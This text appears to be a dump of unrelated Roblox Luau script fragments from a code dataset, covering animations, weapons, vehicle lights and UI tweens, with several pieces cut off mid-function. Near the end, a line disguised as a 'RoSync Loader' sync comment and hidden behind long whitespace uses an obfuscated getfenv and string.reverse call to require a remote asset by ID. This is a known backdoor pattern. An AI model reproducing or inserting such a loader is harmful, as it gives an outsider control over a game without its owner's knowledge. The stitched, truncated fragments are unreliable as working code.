Roblox/luau_corpus huggingface dataset:
-- Placeholder texture can be any roblox asset link
local initialTexture = ""

local RowCount = 1
local ColCount = 2
local perImageSpriteCount = RowCount * ColCount
local width = 256
local height = 384

local framesInTotal = 2
assert(numImages * RowCount * ColCount >= framesInTotal)

local animPeriod = 0.5 -- period for the whole animation, in seconds
assert(animPeriod > 0)

local curImageIdx = 0
local curSpriteIdx = 0

local fps = framesInTotal / animPeriod
local accumulatedTime = 0

local function AnimateImageSpriteSheet(dt)
	accumulatedTime = math.fmod(accumulatedTime + dt, animPeriod)
	curSpriteIdx = math.floor(accumulatedTime * fps)

	local prevImageIndex = curImageIdx
	curImageIdx = math.floor(curSpriteIdx / perImageSpriteCount)
	if prevImageIndex ~= curImageIdx then
		imageInstance.Image = imageAssetIDs[curImageIdx + 1]
	end

	local localSpriteIndex = curSpriteIdx - curImageIdx * perImageSpriteCount
	local row = math.floor(localSpriteIndex / ColCount)
	local col = localSpriteIndex - row * ColCount
	imageInstance.ImageRectOffset = Vector2.new(col * width, row * height)
end

Animator.Connection = nil

Animator.Init = function()
	Animator.Connection = game:GetService("RunService").RenderStepped:Connect(AnimateImageSpriteSheet)
end

Animator.Stop = function()
	if Animator.Connection then
		imageInstance.Image = initialTexture
		Animator.Connection:Disconnect()
	end
end


return Animator
---[[ Command/Filter Priorities ]]
module.VeryLowPriority = -5
module.LowPriority = 0
module.StandardPriority = 10
module.HighPriority = 20
module.VeryHighPriority = 25

module.WhisperChannelPrefix = "To "

return module
--Equip a title for a player
function functions.EquipTitle(plr: Player, titleName: string)

	local plrStats = plr.leaderstats
	local plrTitles = plrStats.Titles
	local plrEquippedTitle = plrStats.EquippedTitle

	if plrTitles:FindFirstChild(titleName) then

		functions.UnequipTitle(plr)

		plrEquippedTitle.Value = titleName

		functions.CreateBillboardGui(plr)
	end
end
-- Local Functions
local function CreateRocket()
	local rocketCopy = RocketTemplate:Clone()
	rocketCopy.PrimaryPart.CFrame = CFrame.new(Configurations.StoragePosition.Value)
	rocketCopy.Parent = Storage
	rocketCopy.PrimaryPart:SetNetworkOwner(Owner)
	if(Owner) then
		rocketCopy.PrimaryPart.BrickColor = Owner.TeamColor
	end
	
	table.insert(Buffer, rocketCopy)
end

local function IntializeBuffer()	
	for i = 1, Configurations.BufferSize.Value do
		CreateRocket()
	end
end

local function RemoveFromBuffer(rocket)
	for i = 1, #Buffer do
		if Buffer[i] == rocket then
			table.remove(Buffer, i)
			return
		end
	end
end

local function ResetRocketOwner()
	for _, rocket in ipairs(Buffer) do
		rocket.PrimaryPart:SetNetworkOwner(Owner)
		if(Owner) then
			rocket.PrimaryPart.BrickColor = Owner.TeamColor
		end
	end
end

local function OnExplosionHit(part, distance)
	local player = Players:GetPlayerFromCharacter(part.Parent) or Players:GetPlayerFromCharacter(part.Parent.Parent)
	if not player then
		if part.Parent.Name ~= 'RocketLauncher' and part.Parent.Name ~= 'Flag' and not part.Anchored then
			local volume = part.Size.X * part.Size.Y * part.Size.Z
			if volume <= Configurations.MaxDestroyVolume.Value then
				if distance < Configurations.BlastRadius.Value * Configurations.DestroyJointRadiusPercent.Value then
					part:BreakJoints()
				end
				if part.Parent.Name == "Rocket" then
					RemoveFromBuffer(part.Parent)
				end
				if #part:GetChildren() == 0 then
					wait(2 * volume)
					part:Destroy()
				end
				
			end
		end
	end
end

local function OnRocketHit(player, rocket, position)
	local explosion = Instance.new('Explosion', game.Workspace)
	explosion.ExplosionType = Enum.ExplosionType.NoCraters
	explosion.DestroyJointRadiusPercent = 0
	explosion.BlastRadius = Configurations.BlastRadius.Value
	explosion.BlastPressure = Configurations.BlastPressure.Value
	explosion.Position = position

	rocket.Part.Fire.Enabled = false
	wait(1)
	rocket:Destroy()
end

local function OnChanged(property)
	if property == 'Parent' then
		if Tool.Parent.Name == 'Backpack' then
			local backpack = Tool.Parent
			Owner = backpack.Parent
		elseif Players:GetPlayerFromCharacter(Tool.Parent) then
			Owner = Players:GetPlayerFromCharacter(Tool.Parent)
		else
			Owner = nil
		end
		ResetRocketOwner()
	end		
end

local function OnFireRocket(player, rocket)
	rocket.Rocket.Transparency = 0
	rocket.Part.Fire.Enabled = true
	CreateRocket()
end

local function DamagePlayer(hitPlayerId, player, damage)
	local hitPlayer = Players:GetPlayerByUserId(tonumber(hitPlayerId))
	if (hitPlayer.TeamColor == player.TeamColor and Configurations.FriendlyFire.Value) or hitPlayer.TeamColor ~= player.TeamColor then
		local humanoid = hitPlayer.Character:FindFirstChild('Humanoid')
		if humanoid then
			humanoid:TakeDamage(damage)
		end
	end
end

local function OnHitPlayers(player, hitPlayers)
	for hitPlayerId, _ in pairs(hitPlayers) do
		DamagePlayer(hitPlayerId, player, Configurations.SplashDamage.Value)
	end
end

local function OnDirectHitPlayer(player, hitPlayerId)
	DamagePlayer(hitPlayerId, player, Configurations.Damage.Value)
end
--Please edit the parts you'd like to change
wait(0.1)
local indicatorOn = BrickColor.new("Deep orange") --The color when the indicators are on.
local indicatorOff = BrickColor.new("Bright orange") --The color when the indicators are off.
local headlightOff = BrickColor.new("Institutional white") --The color when the headlights are off
local headlightLow = BrickColor.new("Institutional white") --The color when the low beams are on
local headlightHi = BrickColor.new("Institutional white") --The color when the hi beams are on
local reverseOn = BrickColor.new("Institutional white") --The color when in reverse
local reverseOff = BrickColor.new("Mid gray") --The color when not in reverse
local brakelightOn = BrickColor.new("Really red") --The color when the brakes are on
local brakelightOff = BrickColor.new("Maroon") --The color when the brakes are off
local rearrunOn = BrickColor.new("Bright red") --The color when the rear running lights are on
local rearrunOff = BrickColor.new("Maroon") --The color when the rear running lights are off
-- ROBLOX deviation: skipping path
-- local path = require("path")
local WIN_SLASH = "\\\\/"
local WIN_NO_SLASH = ("[^%s]"):format(WIN_SLASH)
--//services//--
local tweenService = game:GetService("TweenService")
-- create a holder for our bar
local frame = Instance.new("Frame", screenGui)
frame.AnchorPoint = Vector2.new(0.5, 0.5)
frame.Position = UDim2.new(0.5, 0, 0.5, 0)
frame.Size = UDim2.new(0.3, 0, 0.05, 0)
-- Decompiled with the Synapse X Luau decompiler.

local v1 = {};
local u1 = require(script.Parent.CameraShakeInstance);
function v1.Bump()
	local v2 = u1.new(2.5, 4, 0.1, 0.75);
	v2.PositionInfluence = Vector3.new(0.15, 0.15, 0.15);
	v2.RotationInfluence = Vector3.new(1, 1, 1);
	return v2;
end;
function v1.BigBump()
	local v3 = u1.new(2.5, 4, 0.1, 0.75);
	v3.PositionInfluence = Vector3.new(0.8, 0.8, 0.8);
	v3.RotationInfluence = Vector3.new(1, 1, 1);
	return v3;
end;
function v1.SmallBump()
	local v4 = u1.new(2.5, 4, 0.1, 0.75);
	v4.PositionInfluence = Vector3.new(0.01, 0.01, 0.01);
	v4.RotationInfluence = Vector3.new(0.5, 0.5, 0.5);
	return v4;
end;
function v1.Explosion()
	local v5 = u1.new(5, 10, 0, 1.5);
	v5.PositionInfluence = Vector3.new(0.25, 0.25, 0.25);
	v5.RotationInfluence = Vector3.new(4, 1, 1);
	return v5;
end;
function v1.BumpRemaked()
	local v6 = u1.new(2, 5, 0, 1);
	v6.PositionInfluence = Vector3.new(0.2, 0.2, 0.2);
	v6.RotationInfluence = Vector3.new(3, 1, 1);
	return v6;
end;
function v1.BigExplosion()
	local v7 = u1.new(20, 40, 0, 2);
	v7.PositionInfluence = Vector3.new(0.55, 0.55, 0.55);
	v7.RotationInfluence = Vector3.new(5, 2, 2);
	return v7;
end;
function v1.ReallyBigExplosion()
	local v8 = u1.new(30, 50, 0, 1.5);
	v8.PositionInfluence = Vector3.new(1, 1, 1);
	v8.RotationInfluence = Vector3.new(5, 2, 2);
	return v8;
end;
function v1.SmallExplosion()
	local v9 = u1.new(5, 10, 0, 1.5);
	v9.PositionInfluence = Vector3.new(0.15, 0.15, 0.15);
	v9.RotationInfluence = Vector3.new(4, 1, 1);
	return v9;
end;
function v1.ExplosionNormal()
	local v10 = u1.new(5, 10, 0, 1.5);
	v10.PositionInfluence = Vector3.new(3, 3, 3);
	v10.RotationInfluence = Vector3.new(4, 1, 1);
	return v10;
end;
function v1.Earthquake()
	local v11 = u1.new(0.6, 3.5, 2, 10);
	v11.PositionInfluence = Vector3.new(0.25, 0.25, 0.25);
	v11.RotationInfluence = Vector3.new(1, 1, 4);
	return v11;
end;
function v1.BadTrip()
	local v12 = u1.new(10, 0.15, 5, 10);
	v12.PositionInfluence = Vector3.new(0, 0, 0.15);
	v12.RotationInfluence = Vector3.new(2, 1, 4);
	return v12;
end;
function v1.HandheldCamera()
	local v13 = u1.new(1, 0.25, 5, 10);
	v13.PositionInfluence = Vector3.new(0, 0, 0);
	v13.RotationInfluence = Vector3.new(1, 0.5, 0.5);
	return v13;
end;
function v1.Vibration()
	local v14 = u1.new(0.4, 20, 2, 2);
	v14.PositionInfluence = Vector3.new(0, 0.15, 0);
	v14.RotationInfluence = Vector3.new(1.25, 0, 4);
	return v14;
end;
function v1.RoughDriving()
	local v15 = u1.new(1, 2, 1, 1);
	v15.PositionInfluence = Vector3.new(0, 0, 0);
	v15.RotationInfluence = Vector3.new(1, 1, 1);
	return v15;
end;
local v16 = {};
function v16.__index(p1, p2)
	local v17 = v1[p2];
	if type(v17) == "function" then
		return v17();
	end;
	error("No preset found with index \"" .. p2 .. "\"");
end;
return setmetatable({}, v16);
--[[
	Called when the goal state changes value; this will initiate a new tween.
	Returns false as the current value doesn't change right away.
]]
function class:update(): boolean
	self._prevValue = self._currentValue
	self._nextValue = self._goalState:get(false)

	self._currentTweenStartTime = os.clock()
	self._currentTweenInfo = self._tweenInfo

	local tweenDuration = self._tweenInfo.DelayTime + self._tweenInfo.Time
	if self._tweenInfo.Reverses then
		tweenDuration += self._tweenInfo.Time
	end
	tweenDuration *= math.max(self._tweenInfo.RepeatCount, 1)
	self._currentTweenDuration = tweenDuration

	-- start animating this tween
	TweenScheduler.add(self)
	return false
end

local function Tween<T>(
	goalState: PubTypes.Value<T>,
	tweenInfo: TweenInfo?
): Types.Tween<T>

	local currentValue = goalState:get(false)

	local self = setmetatable({
		type = "State",
		kind = "Tween",
		dependencySet = {[goalState] = true},
		-- if we held strong references to the dependents, then they wouldn't be
		-- able to get garbage collected when they fall out of scope
		dependentSet = setmetatable({}, WEAK_KEYS_METATABLE),
		_goalState = goalState,
		_tweenInfo = tweenInfo or TweenInfo.new(),

		_prevValue = currentValue,
		_nextValue = currentValue,
		_currentValue = currentValue,

		-- store current tween into separately from 'real' tween into, so it
		-- isn't affected by :setTweenInfo() until next change
		_currentTweenInfo = tweenInfo,
		_currentTweenDuration = 0,
		_currentTweenStartTime = 0
	}, CLASS_METATABLE)

	initDependency(self)
	-- add this object to the goal state's dependent set
	goalState.dependentSet[self] = true

	return self
end

return Tween
--[=[
	Takes `count` entries from the table. If the table does not have
	that many entries, will return up to the number the table has to
	provide.

	@param source table -- Source table to retrieve values from
	@param count number -- Number of entries to take
	@return table -- List with the entries retrieved
]=]
function Table.take(source, count)
	local newTable = {}
	for i=1, math.min(#source, count) do
		newTable[i] = source[i]
	end
	return newTable
end

local function errorOnIndex(_, index)
	error(("Bad index %q"):format(tostring(index)), 2)
end

local READ_ONLY_METATABLE = {
	__index = errorOnIndex;
	__newindex = errorOnIndex;
}
--[[
Ray casts to find a collidable part.
--]]
local function FindCollidablePartOnRay(StartPosition,Direction,IgnoreList,CollisionGroup)
    --Convert the collision group.
    if typeof(CollisionGroup) == "Instance" and CollisionGroup:IsA("BasePart") then
        CollisionGroup = PhysicsService:GetCollisionGroupName(CollisionGroup.CollisionGroupId)
    end

    --Create the ignore list.
    local Camera = Workspace.CurrentCamera
    local NewIgnoreList = {Camera}
    if typeof(IgnoreList) == "Instance" then
        table.insert(NewIgnoreList,IgnoreList)
    elseif typeof(IgnoreList) == "table" then
        for _,Entry in pairs(IgnoreList) do
            if Entry ~= Camera then
                table.insert(NewIgnoreList,Entry)
            end
        end
    end

    --Create the parameters.
    local RaycastParameters = RaycastParams.new()
    RaycastParameters.FilterType = Enum.RaycastFilterType.Blacklist
    RaycastParameters.FilterDescendantsInstances = NewIgnoreList
    RaycastParameters.IgnoreWater = true
    if CollisionGroup then
        RaycastParameters.CollisionGroup = CollisionGroup
    end

    --Raycast and continue if the hit part isn't collidable.
    local RaycastResult = Workspace:Raycast(StartPosition,Direction,RaycastParameters)
    if not RaycastResult then
        return nil,StartPosition + Direction
    end
    local HitPart,EndPosition = RaycastResult.Instance,RaycastResult.Position
    if HitPart and not HitPart.CanCollide and (not HitPart:IsA("Seat") or not HitPart:IsA("VehicleSeat") or HitPart.Disabled) then
        table.insert(NewIgnoreList,HitPart)
        return FindCollidablePartOnRay(EndPosition,Direction + (EndPosition - StartPosition),NewIgnoreList,CollisionGroup)
    end

    --Return the hit result.
    return HitPart,EndPosition
end

return FindCollidablePartOnRay
-------- OMG HAX

r = game:service("RunService")


local damage = 12


local slash_damage = 15
local lunge_damage = 20

sword = script.Parent.Handle
Tool = script.Parent


local SlashSound = Instance.new("Sound")
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
SlashSound.Parent = sword
SlashSound.Volume = .7

local LungeSound = Instance.new("Sound")
LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
LungeSound.Parent = sword
LungeSound.Volume = .6

local UnsheathSound = Instance.new("Sound")
UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
UnsheathSound.Parent = sword
UnsheathSound.Volume = 1


function blow(hit)
	local humanoid = hit.Parent:findFirstChild("Humanoid")
	local vCharacter = Tool.Parent
	local vPlayer = game.Players:playerFromCharacter(vCharacter)
	local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character
	if humanoid~=nil and humanoid ~= hum and hum ~= nil then
		-- final check, make sure sword is in-hand

		local right_arm = vCharacter:FindFirstChild("Right Arm")
		if (right_arm ~= nil) then
			local joint = right_arm:FindFirstChild("RightGrip")
			if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
				tagHumanoid(humanoid, vPlayer)
				humanoid:TakeDamage(damage)
				wait(1)
				untagHumanoid(humanoid)
			end
		end


	end
end


function tagHumanoid(humanoid, player)
	local creator_tag = Instance.new("ObjectValue")
	creator_tag.Value = player
	creator_tag.Name = "creator"
	creator_tag.Parent = humanoid
end

function untagHumanoid(humanoid)
	if humanoid ~= nil then
		local tag = humanoid:findFirstChild("creator")
		if tag ~= nil then
			tag.Parent = nil
		end
	end
end


function attack()
	damage = slash_damage
	SlashSound:play()
	local anim = Instance.new("StringValue")
	anim.Name = "toolanim"
	anim.Value = "Slash"
	anim.Parent = Tool
end

function lunge()
	damage = lunge_damage

	LungeSound:play()

	local anim = Instance.new("StringValue")
	anim.Name = "toolanim"
	anim.Value = "Lunge"
	anim.Parent = Tool
	
	
	force = Instance.new("BodyVelocity")
	force.velocity = Vector3.new(0,10,0) --Tool.Parent.Torso.CFrame.lookVector * 80
	force.Parent = Tool.Parent.Torso
	wait(.25)
	swordOut()
	wait(.25)
	force.Parent = nil
	wait(.5)
	swordUp()

	damage = slash_damage
end

function swordUp()
	Tool.GripForward = Vector3.new(-1,0,0)
	Tool.GripRight = Vector3.new(0,1,0)
	Tool.GripUp = Vector3.new(0,0,1)
end

function swordOut()
	Tool.GripForward = Vector3.new(0,0,1)
	Tool.GripRight = Vector3.new(0,-1,0)
	Tool.GripUp = Vector3.new(-1,0,0)
end

function swordAcross()
	-- parry
end


Tool.Enabled = true
local last_attack = 0
function onActivated()

	if not Tool.Enabled then
		return
	end

	Tool.Enabled = false

	local character = Tool.Parent;
	local humanoid = character.Humanoid
	if humanoid == nil then
		print("Humanoid not found")
		return 
	end

	t = r.Stepped:wait()

	if (t - last_attack < .2) then
		lunge()
	else
		attack()
	end

	last_attack = t

	--wait(.5)

	Tool.Enabled = true
end


function onEquipped()
	UnsheathSound:play()
end


script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)


connection = sword.Touched:connect(blow)
--- Returns an array of the names of all registered commands (not including aliases)
function Registry:GetCommandsAsStrings ()
	local commands = {}

	for _, command in pairs(self.CommandsArray) do
		commands[#commands + 1] = command.Name
	end

	return commands
end
--[[
	Player state. No logic, as the server dictates the events in and out of this state.
]]
local PlayerPostGame = {}
--PlayAnim
while true do
	wait(0.3)
	
	local function TweenTransparency ()
		local TweenTransInfo = TweenInfo.new(0.4,Enum.EasingStyle.Quad,Enum.EasingDirection.In,0,false)
		local Tween = TweenService:Create(Money, TweenTransInfo, {ImageTransparency = 1})
		Tween:Play()
	end
	
	local function MoneyDown ()
		TweenTransparency()
		Money:TweenPosition(
			UDim2.new(MoneyPX, 0, MoneyPY - 0.112 , 0),
			Enum.EasingDirection.In,
			Enum.EasingStyle.Quad,
			0.35,
			false
		)
	end
	
	local function MoneyUp ()
		Money.ImageTransparency = 0
		Money:TweenPosition(
			UDim2.new(MoneyPX, 0,MoneyPY - 0.400 , 0),
			Enum.EasingDirection.Out,
			Enum.EasingStyle.Quad,
			0.40,
			false,
			MoneyDown
		)
	end
	
	local function MoveDown ()
		--call money tween
		MoneyUp()
		--Move to origin
		MoneyBag:TweenPosition(
			UDim2.new(MoneyPX, 0,MoneyPY, 0),
			Enum.EasingDirection.Out,
			Enum.EasingStyle.Back,
			0.8,
			false
		)
		wait(0.8)
	end
	
	--moveUp
	MoneyBag:TweenPosition(
		UDim2.new(MoneyPX, 0,MoneyPY - 0.122 , 0),
		Enum.EasingDirection.In,
		Enum.EasingStyle.Back,
		0.8,
		false,
		MoveDown
	)

end
-- ANimation
local Sound = script:WaitForChild("Haoshoku Sound")

UIS.InputBegan:Connect(function(Input)
	if Input.KeyCode == Enum.KeyCode.C and Debounce == 1 and Tool.Equip.Value == true and Tool.Active.Value == "None" and script.Parent.DargonOn.Value == true then
		Debounce = 2
		Track1 = plr.Character.Dragon.Dragonoid:LoadAnimation(script.AnimationCharge)
		Track1:Play()
		for i = 1,math.huge do
			if Debounce == 2 then
				
				plr.Character.HumanoidRootPart.CFrame = CFrame.new(plr.Character.HumanoidRootPart.Position, Mouse.Hit.p)
				plr.Character.HumanoidRootPart.Anchored = true
			else
				
				break
				end
	     wait()
	  end
	end
end)

UIS.InputEnded:Connect(function(Input)
	if Input.KeyCode == Enum.KeyCode.C and Debounce == 2 and Tool.Equip.Value == true and Tool.Active.Value == "None" and script.Parent.DargonOn.Value == true then
		Debounce = 3
		local Track2 = plr.Character.Dragon.Dragonoid:LoadAnimation(script.AnimationRelease)
		Track2:Play()
		Track1:Stop()
		Sound:Play()
		local mousepos = Mouse.Hit
		script.RemoteEvent:FireServer(mousepos,Mouse.Hit.p)
		wait(1)
		Track2:Stop()
		plr.Character.HumanoidRootPart.Anchored = false
		wait(.5)
		Tool.Active.Value = "None"
		wait(3)
		Debounce = 1
	end
end)
--------RIGHT DOOR --------

game.Workspace.doorright.l12.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l22.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l32.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l42.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l52.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l62.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l72.BrickColor = BrickColor.new(1003)
--[[Tires]]--
	-- Tire Curve Profiler: https://www.desmos.com/calculator/og4x1gyzng
	Tune.TireCylinders	= 4			-- How many cylinders are used for the tires. More means a smoother curve but way more parts meaning lag. (Default = 4)
	Tune.TiresVisible	= false		-- Makes the tires visible (Debug)
-- @Description Add and return a HandleAdornment class object with basic parameters to the terrain.
-- @Arg1 ObjectClass
function Debug.AddObject(ObjectType)
	local Obj = Instance.new(ObjectType)
	Obj.AlwaysOnTop = true
	Obj.Color3 = Color3.new(1,1,1)
	Obj.Transparency = .5
	Obj.AdornCullingMode = Enum.AdornCullingMode.Never
	Obj.ZIndex = 1
	
	Obj.Adornee = game.Workspace.Terrain
	Obj.Parent = game.Workspace.Terrain
	return Obj
end
--[=[
	@interface KnitOptions
	.ServicePromises boolean?
	.Middleware Middleware?
	.PerServiceMiddleware PerServiceMiddleware?
	@within KnitClient

	- `ServicePromises` defaults to `true` and indicates if service methods use promises.
	- Each service will go through the defined middleware, unless the service
	has middleware defined in `PerServiceMiddleware`.
]=]
type KnitOptions = {
	ServicePromises: boolean,
	Middleware: Middleware?,
	PerServiceMiddleware: PerServiceMiddleware?
}

local defaultOptions: KnitOptions = {
	ServicePromises = true;
	Middleware = nil;
	PerServiceMiddleware = {};
}

local selectedOptions = nil
--SeregaTopYTReal2
--Put the "died" sound to npc's head

local NPC = script.Parent
local Head = NPC.Head
local Humanoid
for i,v in pairs(NPC:GetChildren()) do 
	if v:IsA('Humanoid') then 
		Humanoid = v 
	end 
end

if Humanoid then
	Humanoid.Died:Connect(function()
		wait(0.0001)
		Head:FindFirstChild("died"):Play()
	end)
else
	warn('Cannot find Humanoid in DeathSound Script!')
end
--[[ Last synced 3/7/2021 11:05                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]--
--// Handling Settings		
	Firerate = 60 / 650; -- 60 = 1 Minute, 700 = Rounds per that 60 seconds. DO NOT TOUCH THE 60!
	
	FireMode = 2; -- 1 = Semi, 2 = Auto, 3 = Burst, 4 = Bolt Action, 5 = Shot, 6 = Explosive
---------- Brake Lights Off ----------
if script.Parent.Throttle == 1 then 
lights.Brake1.BrickColor = BrickColor.new("Bright red")
lights.Brake2.BrickColor = BrickColor.new("Bright red")

lights.Brake1.Material = "SmoothPlastic"
lights.Brake2.Material = "SmoothPlastic"

else